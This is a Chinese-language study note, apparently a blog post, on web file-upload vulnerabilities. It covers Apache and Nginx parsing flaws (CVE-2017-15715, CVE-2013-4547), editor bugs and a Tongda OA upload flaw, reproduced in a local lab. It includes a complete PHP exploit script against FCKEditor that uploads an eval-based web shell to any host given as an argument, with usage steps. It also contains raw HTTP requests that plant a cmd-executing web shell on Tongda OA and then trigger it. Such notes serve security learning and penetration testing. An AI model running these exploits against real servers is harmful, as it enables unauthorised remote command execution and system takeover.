WEB漏洞—文件上传之解析漏洞编辑器安全

WEB漏洞—文件上传之解析漏洞编辑器安全

7e72e06d9f7ec67e130c726bfc2715a3

1
2
3
4
5
6
参考共享的中间件漏洞PDF
IIS6/ 7简要说明-本地搭建
Apache配置安全--vuthab
Apache换行解析-vulhub
Nginx解析漏洞-vulhub
Nginx文件名逻辑-vulhub
1
2
3
Apache 低版本解析漏洞
利用场景:
我们可以利用文件上传,上传一个不识别的文件后缀(x.php. xxx.yyy),apache 识别不了最后的yyy,向前解析直到识别,利用解析漏洞规则成功解析文件,随后后门代码被触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
扩展
1.POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

2.EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。

3.VUL(Vulnerability),泛指漏洞。

4.CVE漏洞编号,CVE 的英文全称是“Common Vulnerabilities & Exposures”公共漏洞和暴露,例如CVE-2015-0057、CVE-1999-0001等等。CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。如果在一个漏洞报告中指明的一个漏洞,如果有CVE名称,你就可以快速地在任何其它CVE兼容的数据库中找到相应修补的信息,解决安全问题。
可以在https://cve.mitre.org/网站根据漏洞的CVE编号搜索该漏洞的介绍。
也可以在中文社区http://www.scap.org.cn/上搜索关于漏洞的介绍

5.0DAY漏洞和0DAY攻击
在计算机领域中,零日漏洞或零时差漏洞(英语:Zero-dayexploit)通常是指还没有补丁的安全漏洞,而零日攻击或零时差攻击(英语:Zero-dayattack)则是指利用这种漏洞进行的攻击。提供该漏洞细节或者利用程序的人通常是该漏洞的发现者。零日漏洞的利用程序对网络安全具有巨大威胁,因此零日漏洞不但是黑客的最爱,掌握多少零日漏洞也成为评价黑客技术水平的一个重要参数。
零日漏洞及其利用代码不仅对犯罪黑客而言,具有极高的利用价值,一些国家间谍和网军部队,例如美国国家安全局和美国网战司令部也非常重视这些信息[1]。据路透社报告称美国政府是零日漏洞黑市的最大买家。
1
2
3
4
5
6
7
8
9
10
1.上传文件和文件执行是两个东西
2.漏洞分类{解析漏洞、cms漏洞、其他漏洞【编辑器漏洞、cve漏洞、安全修复】}

思路:
如果有一个网站,要从文件上传的方向开始
第一步:先看中间件,看是否存在解析漏洞/CMS/编辑器漏洞/CVE/
如果有,如何找:
字典扫描:扫描会员中心,文件上传的位置
找到后,如何利用:
验证/绕过

apache低版本解析漏洞

apache版本在以下范围内

  • Apache 2.0.x <= 2.0.59
  • Apache 2.2.x <= 2.2.17
  • Apache 2.2.2 <= 2.2.8

例子:x.php.xxx.yyy,识别最后的yyy,如果不识别的,向前解析,直到识别

这里需要说明并不是在影响版本内,就有这个漏洞,因为很有可能会有打上补丁

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

Snipaste_2022-05-11_06-14-04

Snipaste_2022-05-11_06-14-27

Snipaste_2022-05-11_06-14-35

Snipaste_2022-05-11_06-14-42

Snipaste_2022-05-11_06-14-47

Snipaste_2022-05-11_06-14-52

Snipaste_2022-05-11_06-15-00

Snipaste_2022-05-11_06-15-17

Snipaste_2022-05-11_06-15-25

Snipaste_2022-05-11_06-15-32

真正成因就在AddHandler application/x-httpd-php .php
是由于运维人员在配置服务器时,为了使Apache能够解析PHP,而自己添加了一个handler。这句话的作用也是为了让Apache把PHP文件交给php_moudle解析,但是它与sethandler的区别是它的后缀不是用正则去匹配。所以在文件名的任何位置匹配到php,他都会让php_module解析。类似1.php.xxx.yyy文件就会是这样的顺序,.yyy无法识别,向左,.xxx无法识别,向左,.php可以识别,就激活php处理器,执行PHP代码,解析漏洞就产生了。

Nginx 文件名逻辑漏洞(CVE-2013-4547)

影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

1
linux系统需要这一步,而windows系统可以省略。因为在windows中文件名不可以包含空格,而linux的文件名中可以包含空格。在访问a.jpg[20][00].jpg时,在windows系统中会识别为 a.jpg,在linux系统中会识别为 a.jpg[20]。

复现过程:上传一个带有后门的图片马,这里我用phpinfo代替

Snipaste_2022-05-11_07-17-32

Snipaste_2022-05-11_07-18-44

Snipaste_2022-05-11_07-23-11

进行访问

Snipaste_2022-05-11_07-23-50

这里访问也要注意,是在数据包中进行访问,如果是浏览器中的URL进行访问的话这个就不行,因为会被自动编码

Snipaste_2022-05-11_07-26-19

Snipaste_2022-05-11_07-27-35

CVE-2018-2894【Weblogic 任意文件上传漏洞】

按照官网的方法来操作,就是创建一个安全组,然后我这边不知道为什么打不开那个php文件,我上传的是php,但是确实以jpg的格式去执行,重试了几次,不知道什么原因。猜测是我的版本过高了,不想折腾了。。。

编辑器

Snipaste_2022-05-11_14-09-41

不知道资源,所以没有在本地搭建,这里直接用小迪课上的

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
$match = array();
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
print $resp;
return $resp;
}
function connector_response($html)
{
global $match;
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| FCKEditor Servelet Arbitrary File Upload Exploit |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /\n";
print "\nExample....: php $argv[0] localhost /FCKEditor/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = "fvck.gif";
$foldername = "fuck.php%00.gif";
$connector = "editor/filemanager/connectors/php/connector.php";
$payload = "-----------------------------265001916915724\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= 'GIF89a'."\r\n".'<?php eval($_POST[cmd]) ?>'."\n";
$payload .= "-----------------------------265001916915724--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=Image&CurrentFolder=".$foldername." HTTP/1.0\r\n";//print $packet;
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=---------------------------265001916915724\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
print $packet;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Job done! try http://${host}/$match[2] \n";
?>

将上面的EXP,保存到一个文档中,格式为PHP,然后将创建好的文件,移动到你的php的安装目录中。在安装目录中打开cmd,直接在地址栏中输入cmd就可以了,格式为:php 【刚刚创建的文件名】 【网站链接】 【需要测试的目录】

有时候这个网站链接要加上这个http,有时候不用,这个是根据代码来的,实在不确定两个都试试就可以了

Snipaste_2022-05-11_15-11-09

通达OA,这个搭建有点坑,当然这是我一个人出现的问题,我就说说自己的解决方法,我的问题是,我搭建之后首先是访问不了主页,然后注意到,这个通达的web服务一直启动不起来,然后我卸载重装了,这里那个文件名我建议是直接用他自带的那个名字,M什么的因为我就是自定义名字,然后导致服务起不来,当然可能不是这个原因,我重装的时候按他的名字来的话服务就可以了,之前重装几次自定义名字都不行,然后是我发现我虽然可以访问web了,但是没有那个主页,只有一个/index.php请联系管理员,可是这个通达OA下面并没有这个目录,所以我这里又卡了很久,因为我之前搭建成功过(至于为什么我还要搭建一次,因为那个虚拟机崩溃了),所以我怀疑是不是phpstudy的问题,然后换了一个虚拟机,然后果然可以了

Snipaste_2022-05-12_21-56-19

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.88.132
Content-Length: 676
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST[&apos;cmd&apos;];
$wsh = new COM(&apos;WScript.shell&apos;);
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

Snipaste_2022-05-13_06-59-33

可以看到这个已经可以了,查看服务器发现

Snipaste_2022-05-13_07-00-04

已经上传 了,然后在构造一个数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.88.132
User-AgentMozilla/5.0 (Windows NT 10.0; Win64x64rv:47.0) Gecko/20100101 Firefox/47.0
Content-Length: 336

Accepttext/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Languagezh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encodinggzipdeflate

Connectionclose

Content-Typeapplication/x-www-form-urlencoded

Content-Length: 59

json={"url":"/general/../../attach/im/2205/2043162085.jpg"}//这里不要直接复制,这里是根据自己上传的图像路径来的

Snipaste_2022-05-13_08-14-50

可以看到已经成功了

文件上传漏洞总结:

\1. 查看中间件,是否存在解析漏洞(iis/apache/nginx)

—有些可以上传未知名后缀,有些只能上传图片(这一步也可以和第二步互换)

\2. 文件上传漏洞点的识别

—字典扫描路径,会员中心,更换头像等等

\3. 文件上传漏洞分类(代码层面)

—前端

—后端—黑名单,白名单,文件内容/类型及其它

\4. 查看是否是CMS漏洞

\5. 查找是否存在编辑器

\6. 查找是否有相关的CVE漏洞

涉及资源

1
2
3
https://navisec.it/编辑器漏洞手册
https:/www.jb51.net/softs/75619.html
https://pan.baidu.com/share/init?surl=5gcdBuOFrN1F9xVN7Q7GSA **enqx**